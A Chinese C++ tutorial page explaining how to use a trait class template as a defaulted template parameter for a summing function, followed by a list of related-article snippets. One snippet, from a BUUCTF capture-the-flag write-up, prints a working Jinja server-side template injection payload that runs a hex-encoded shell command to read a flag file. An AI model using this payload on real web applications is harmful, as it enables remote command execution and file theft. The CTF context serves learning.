C++新经典模板与泛型编程:将trait类模板用作模板参数
将trait类模板用作模板参数
template<typename T>
struct SumFixedTraits;template<>
struct SumFixedTraits<char>
{using sumT = int;static sumT initValue() {return 0;}
};template<>
struct SumFixedTraits<int>
{using sumT = __int64;static sumT initValue() {return 0;}
};template<>
struct SumFixedTraits<double>
{using sumT = double;static sumT initValue() {return 0.0;}
};template<typename T>
auto funcsum(const T* begin, const T* end)
{using sumT = typename SumFixedTraits<T>::sumT;sumT sum = SumFixedTraits<T>::initValue();for (;;){sum += (*begin);if (begin == end)break;++begin;}return sum;
}
funcsum()函数模板用于计算数组元素的和值。下面,给funcsum()函数模板增加一个模板参数以进一步增加funcsum()函数模板的灵活性。修改后的funcsum()函数模板代码如下。
template<typename T,typename U = SumFixedTraits<T>>
auto funcsum(const T* begin, const T* end)
{// using sumT = typename SumFixedTraits<T>::sumT; 本行不需要// sumT sum = SumFixedTraits<T>::initValue(); 本行不需要typename U::sumT sum = U::initValue();for (;;){sum += (*begin);if (begin == end)break;++begin;}return sum;
}
在上面的代码中,引入了第2个类型模板参数U,该模板参数有一个默认值,而且这个默认值可以通过第1个模板参数推断出来(第2个模板参数依赖于第1个模板参数),所以一般不需要指定。但如果有特殊的需求,也是可以指定的,这就增加了funcsum()函数模板使用时的灵活性。
main()主函数中以往的代码行如下。
char my_char_array[] = "abc";std::cout << (int)(funcsum(&my_char_array[0], &my_char_array[2])) << std::endl;
上面这两行代码,在调用funcsum()时,第1个类型模板参数T被推断为char类型,第2个类型模板参数U就变成了SumFixedTraits类型。因此,funcsum()函数模板中的代码行:
typename U::sumT sum = U::initValue();
等价于:
typename SumFixedTraits<char>::sumT sum = SumFixedTraits<char>::initValue();
等价于:
int sum = 0;
也就是说,计算和值的时候,用于保存和值的sum变量是int类型。如果希望用于保存和值的sum变量从int类型变成__int64类型,怎么做呢?也是可以做到的,这就是引入类型模板参数U的灵活之处。
将代码行:
std::cout << (int)(funcsum(&my_char_array[0], &my_char_array[2])) << std::endl;
修改为:
std::cout << (int)(funcsum<char, SumFixedTraits<int>>(&my_char_array[0], &my_char_array[2])) << std::endl;
如果需要,还可以把funcsum()的第2个类型模板参数指定为一个完全不同的trait类模板,这完全由程序员自己决定。
完整代码,如下:
#include "killCmake.h"#include<string>using namespace std;template<typename T>
struct SumFixedTraits;template<>
struct SumFixedTraits<char>
{using sumT = int;static sumT initValue() {return 0;}
};template<>
struct SumFixedTraits<int>
{using sumT = __int64;static sumT initValue() {return 0;}
};template<>
struct SumFixedTraits<double>
{using sumT = double;static sumT initValue() {return 0.0;}
};template<typename T,typename U = SumFixedTraits<T>>
auto funcsum(const T* begin, const T* end)
{// using sumT = typename SumFixedTraits<T>::sumT; 本行不需要// sumT sum = SumFixedTraits<T>::initValue(); 本行不需要typename U::sumT sum = U::initValue();for (;;){sum += (*begin);if (begin == end)break;++begin;}return sum;
}int main()
{char my_char_array[] = "abc";std::cout << (int)(funcsum(&my_char_array[0], &my_char_array[2])) << std::endl;std::cout << (int)(funcsum<char, SumFixedTraits<int>>(&my_char_array[0], &my_char_array[2])) << std::endl;return 0;
}

相关文章:
C++新经典模板与泛型编程:将trait类模板用作模板参数
将trait类模板用作模板参数 template<typename T> struct SumFixedTraits;template<> struct SumFixedTraits<char> {using sumT int;static sumT initValue() {return 0;} };template<> struct SumFixedTraits<int> {using sumT __int64;sta…...
BUUCTF-[GYCTF2020]FlaskApp flask爆破pin
这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…...
web前端实现LED功能、液晶显示时间、数字
MENU 效果演示html部分JavaScript部分css部分 效果演示 html部分 <div id"app"><!-- 页面 --><div class"time-box"><!-- 时 --><div class"house-box"><bit-component :num"houseTem"></bit…...
YOLOv8改进 | 2023 | DiverseBranchBlock多元分支模块(有效涨点)
一、本文介绍 本文带来的改进机制是YOLOv8模型与多元分支模块(Diverse Branch Block)的结合,Diverse Branch Block (DBB) 是一种用于增强卷积神经网络性能的结构重新参数化技术。这种技术的核心在于结合多样化的分支,这些分支具有…...
Spring Boot 3 整合 Spring Cache 与 Redis 缓存实战
🚀 作者主页: 有来技术 🔥 开源项目: youlai-mall 🍃 vue3-element-admin 🍃 youlai-boot 🌺 仓库主页: Gitee 💫 Github 💫 GitCode 💖 欢迎点赞…...
kubeadm 安装k8s1.28.x 底层走containerd 容器
1. k8s1.28.x 的概述 1.1 k8s 1.28.x 更新 Kubernetes v1.28 是 2023 年的第二个大版本更新,包含了 46 项主要的更新。 而今年发布的第一个版本 v1.27 有近 60 项,所以可以看出来,在发布节奏调整后, 每个 Kubernetes 版本中都会包…...
“分割“安卓用户,对标iOS,鸿蒙崛起~
近期关于**“华为于明年推出不兼容安卓的鸿蒙版本”**的消息传出,引起了业界的热议关注。自从2019年8月,美国制裁下,华为不再能够获得谷歌安卓操作系统相关付费服务,如此情况下,华为“备胎”鸿蒙操作系统一夜转正。 华…...
【Vulnhub 靶场】【hacksudo: ProximaCentauri】【简单 - 中等】【20210608】
1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/ 靶场下载:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip 靶场难度:简单 - 中等 发布日期:2021年06月08日 文件大小&…...
share pool的组成
share pool的组成 3块区域:free,library cache,row cache 通过查看v$librarycache视图,可以监控library cache的活动情况,进一步衡量share pool设置是否合理; 其中reloads列,表示对象被重新加载的次数,在一个设置合…...
应用案例 | 基于三维视觉的汽车零件自动化拧紧解决方案
Part.1 引言 随着人们生活水平的提高,汽车作为理想的代步工具,逐渐成为人们生活中不可或缺的一部分。汽车的广泛应用,大大增加了汽车制造业的负荷。因此,如何提高生产效率和汽车性能,成为汽车制造业的首要关注话题。…...
Redis server启动源码
入口main函数 src/redis.c文件main函数 int main(int argc, char **argv) {struct timeval tv;/* We need to initialize our libraries, and the server configuration. */// 初始化库 #ifdef INIT_SETPROCTITLE_REPLACEMENTspt_init(argc, argv); #endif//设置本地时间setl…...
C++基础 强制转换
目录 static_cast:static_cast(expression) const_cast dynamic_cast reinterpret_cast C 提供以下几类转换 static_cast:static_cast<type-id>(expression) tatic_cast 主要用于以下几种情况: 用于显式地将一个表达式转换为另一…...
【python、opencv】opencv仿射变换原理及代码实现
opencv仿射变换原理 仿射变换是opencv的基本知识点,主要目的是将原始图片经过仿射变换矩阵,平移、缩放、旋转成目标图像。用数学公式表示就是坐标转换。 其中x,y是原始图像坐标,u,v是变换后的图像坐标。将公式转换为…...
mac本地部署stable-diffusion
下载Homebrew /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" ①输入“1”选择中科大版本,然后输入Y(YES),直接输入开机密码(不显示)然后回车确认,开始下载 ②…...
dockers安装rabbitmq
RabbitMQ: easy to use, flexible messaging and streaming — RabbitMQhttps://www.rabbitmq.com/ Downloading and Installing RabbitMQ — RabbitMQ docker run -it --rm --name rabbitmq -p 5672:5672 -p 15672:15672 rabbitmq:3.12-management 之后参照:dock…...
07、pytest指定要运行哪些用例
官方用例 # 目录结构 | |----test_mod.py | |----testing||----test_dir.py# content of test_mod.py import pytestdef func(x):return x 1def test_mod():print("test_mod function was invoked")assert func(3) 5def test_func():print("test_func was in…...
springboot集成cxf
<?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://ma…...
快速认识什么是:Kubernetes
每次谈到容器的时候,除了Docker之外,都会说起 Kubernetes,那么什么是 Kubernetes呢?今天就来一起学快速入门一下 Kubernetes 吧!希望本文对您有所帮助。 Kubernetes,一种用于管理和自动化云中容器化工作负…...
YOLOv6 学习笔记
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、YOLOv6贡献和改进二、YOLOv6核心概念三、YOLOv6架构改进四、YOLOv6重参思想五、YOLOv6的损失函数总结 前言 在计算机视觉领域,目标检测技术一直…...
paypal贝宝怎么绑卡支付
一、PayPal是什么 PayPal是一个很多国家地区通用的支付渠道,我们可以把它理解为一项在线服务,相当于美国版的支付宝。你可以通过PayPal进行汇款和收款,相比传统的电汇和西联那类的汇款方式,PayPal更加简单和容易,被很…...
无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战
“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...
k8s业务程序联调工具-KtConnect
概述 原理 工具作用是建立了一个从本地到集群的单向VPN,根据VPN原理,打通两个内网必然需要借助一个公共中继节点,ktconnect工具巧妙的利用k8s原生的portforward能力,简化了建立连接的过程,apiserver间接起到了中继节…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...
多模态图像修复系统:基于深度学习的图片修复实现
多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...
